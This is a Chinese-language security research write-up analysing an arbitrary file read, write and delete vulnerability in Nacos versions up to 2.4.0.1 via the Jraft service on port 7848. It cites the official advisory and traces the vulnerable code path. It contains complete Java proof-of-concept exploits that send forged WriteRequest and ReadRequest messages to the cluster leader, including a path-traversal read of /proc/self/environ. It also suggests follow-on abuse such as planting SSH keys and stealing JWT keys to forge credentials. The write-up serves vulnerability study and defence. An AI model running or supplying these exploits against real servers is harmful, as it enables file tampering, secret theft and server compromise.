Nacos <=2.4.0.1 任意文件读写删

前言

在Nacos<=2.4.0.1版本中集群模式启动下存在名为naming_persistent_service的Group,该Group所使用的Processor为com.alibaba.nacos.naming.consistency.persistent.impl.PersistentServiceProcessor类型Processor,在进行处理过程中会触发其父类onApplyonRequest方法,这两个方法会分别造成任意文件写入删除和任意文件读取

官方社区公告:https://nacos.io/blog/announcement-nacos-security-problem-file/

漏洞出现在Jraft服务(默认值7848)

环境搭建

docker搭建集群参考:https://github.com/nacos-group/nacos-docker

image-20240827195607983

漏洞分析

这个漏洞的原理和之前的Nacos Hessian 反序列化漏洞差不多,但是没这么复杂

这里只说重点,请求包的构造参考之前的Nacos Hessian 反序列化漏洞

当nacos以集群模式启动时,存在一个名为naming_persistent_service的Group

image-20240827200406801

注意,此时的leader为nacos2:7848,这个会变的,在Nacos Hessian 反序列化漏洞的调试中知道,只有leader节点才会进行后续的操作。

image-20240827201903478

在调试分析这个漏洞的过程中发现,在向leader发包后,下一次,leader就会变为其他节点。反正就是naming_persistent_service下的leader是哪个,就向哪个节点发送请求即可,不需要重启

请求的处理过程,不多bb了,参考Nacos Hessian 反序列化漏洞

调用栈如下:

onApply:159, BasePersistentServiceProcessor (com.alibaba.nacos.naming.consistency.persistent.impl)
onApply:122, NacosStateMachine (com.alibaba.nacos.core.distributed.raft)
doApplyTasks:597, FSMCallerImpl (com.alipay.sofa.jraft.core)
doCommitted:561, FSMCallerImpl (com.alipay.sofa.jraft.core)
runApplyTask:467, FSMCallerImpl (com.alipay.sofa.jraft.core)
access$100:73, FSMCallerImpl (com.alipay.sofa.jraft.core)
onEvent:150, FSMCallerImpl$ApplyTaskHandler (com.alipay.sofa.jraft.core)
onEvent:142, FSMCallerImpl$ApplyTaskHandler (com.alipay.sofa.jraft.core)
run:137, BatchEventProcessor (com.lmax.disruptor)
run:750, Thread (java.lang)

任意文件写入

来到BasePersistentServiceProcessor#onApply

image-20240827202659349

首先对传入的data进行反序列化为一个BatchWriteRequest对象,然后再获取操作op进入不同的方法处理,如果op==”Write”则进入NamingKvStorage#batchPut

image-20240827203242594

这里只是简单的遍历一下列表,然后就丢给put方法处理

image-20240827203504025

this.getStorage()只是返回一个KvStorage对象,然后进入KvStorage#put

image-20240827203657796

这里一目了然了,而且参数可控,需要注意的是这个this.baseDir的当前目录为/home/nacos/data/naming/data,可以目录穿越

image-20240827203751445

回到BasePersistentServiceProcessor#onApply,构造数据

image-20240827202659349

需要一个BatchWriteRequest对象,并序列化

调试发现,这个序列化和反序列化是由com.alibaba.nacos.consistency.serialize.JacksonSerializer()进行的

而不是之前常用的那个,所以构造如下:

BatchWriteRequest request = new BatchWriteRequest();
request.append("1.txt".getBytes(), "aaaa\n".getBytes());
JacksonSerializer serializer = new JacksonSerializer();
send(address, serializer.serialize(request));//发送数据

op的控制就简单了,在构造WriteRequest对象时候,加一个setOperation(“Write”)即可,send方法是发送请求,参考Y4er写的,复制+修改

image-20240827205015479

POC:

public static void send(String addr, byte[] payload) throws Exception {
    Configuration conf = new Configuration();
    conf.parse(addr);
    RouteTable.getInstance().updateConfiguration("nacos", conf);
    CliClientServiceImpl cliClientService = new CliClientServiceImpl();
    cliClientService.init(new CliOptions());
    RouteTable.getInstance().refreshLeader(cliClientService, "nacos", 1000).isOk();
    PeerId leader = PeerId.parsePeer(addr);
    Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");
    parserClasses.setAccessible(true);
    ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());
    map.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());
    MarshallerHelper.registerRespInstance(WriteRequest.class.getName(), WriteRequest.getDefaultInstance());
    final WriteRequest writeRequest = WriteRequest.newBuilder().setGroup("naming_persistent_service").setData(ByteString.copyFrom(payload)).setOperation("Write").build();
    Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), writeRequest, 5000);
    System.out.println(o);
}

public static void main(String[] args) throws Exception {
        String address = "192.168.3.153:7848";
        BatchWriteRequest request = new BatchWriteRequest();
        request.append("1.txt".getBytes(), "aaaa\n".getBytes());//向/home/nacos/data/naming/data/1.txt写入aaaa
        JacksonSerializer serializer = new JacksonSerializer();
        send(address, serializer.serialize(request));

    }

这个漏洞的利用,目前只能想到再开启22端口的情况下写ssh公钥,然后连接

任意文件删除

再回到BasePersistentServiceProcessor#onApply,如果op==Delete是不是就可以删除任意文件了?跟一下

image-20240827202659349

根据batchDelete,来到NamingKvStorage的batchDelete

image-20240827210101377

继续跟进delete()

image-20240827210157100

这里的delete再跟进,也是一目了然,

image-20240827210403659

image-20240827210440316

这个POC和上面任意文件写入的一样,只有把.setOperation(“Write”)改为.setOperation(“Delete”)即可

任意文件读取

前面的poc发送的数据都是构造WriteRequest对象发送,读取文件,需要的是ReadRequest

在处理请求的过程中,如果是ReadRequest则会调用该Group所使用的Processor的onRequest方法

image-20240827211444921

因为Group为naming_persistent_service,还是BasePersistentServiceProcessor处理,来到BasePersistentServiceProcessor的onRequest方法

image-20240827211853487

处理的套路和前面的差不多,将数据反序列化为List后丢给NamingKvStorage#batchGet处理

image-20240827212042498

这里也是变量,然后丢给get处理,跟进

image-20240827212234178

又是这个storage,再跟进

image-20240827212313065

再这个get方法中,如果文件存在,则读取,并返回读取的内容,返回到onRequest,通过response发送到客户端

POC:

public static void send2(String addr, byte[] payload) throws Exception {
    Configuration conf = new Configuration();
    conf.parse(addr);
    RouteTable.getInstance().updateConfiguration("nacos", conf);
    CliClientServiceImpl cliClientService = new CliClientServiceImpl();
    cliClientService.init(new CliOptions());
    RouteTable.getInstance().refreshLeader(cliClientService, "nacos", 1000).isOk();
    PeerId leader = PeerId.parsePeer(addr);
    Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");
    parserClasses.setAccessible(true);
    ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());
    map.put("com.alibaba.nacos.consistency.entity.ReadRequest", ReadRequest.getDefaultInstance());
    MarshallerHelper.registerRespInstance(ReadRequest.class.getName(), ReadRequest.getDefaultInstance());
    final ReadRequest readRequest = ReadRequest.newBuilder().setGroup("naming_persistent_service").setData(ByteString.copyFrom(payload)).build();
    Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), readRequest, 5000);
    System.out.println(o);
}
public static void main(String[] args) throws Exception {
        bypass();
        String address = "192.168.3.153:7848";

        JacksonSerializer serializer = new JacksonSerializer();
        List<byte[]> byteArrayList = Arrays.asList("../../../../../../proc/self/environ".getBytes());
        send2(address, serializer.serialize(byteArrayList));

    }

文件读取可以读取环境变量获取jwt key伪造凭据,读取配置文件获取敏感信息

漏洞复现

任意文件写入:写入pwn.txt

image-20240827224207676

任意文件删除:删除掉刚刚写入的pwn.txt

image-20240827224354190

任意文件读取:读取/proc/self/environ环境变量

image-20240827224619150

其中keys是文件名,values是文件内容,base64解码

image-20240827224753456

文件内容:

image-20240827224853309

参考

https://mp.weixin.qq.com/s/EzMaG3u-lcBnVbPYebP_Ag

https://y4er.com/posts/nacos-hessian-rce/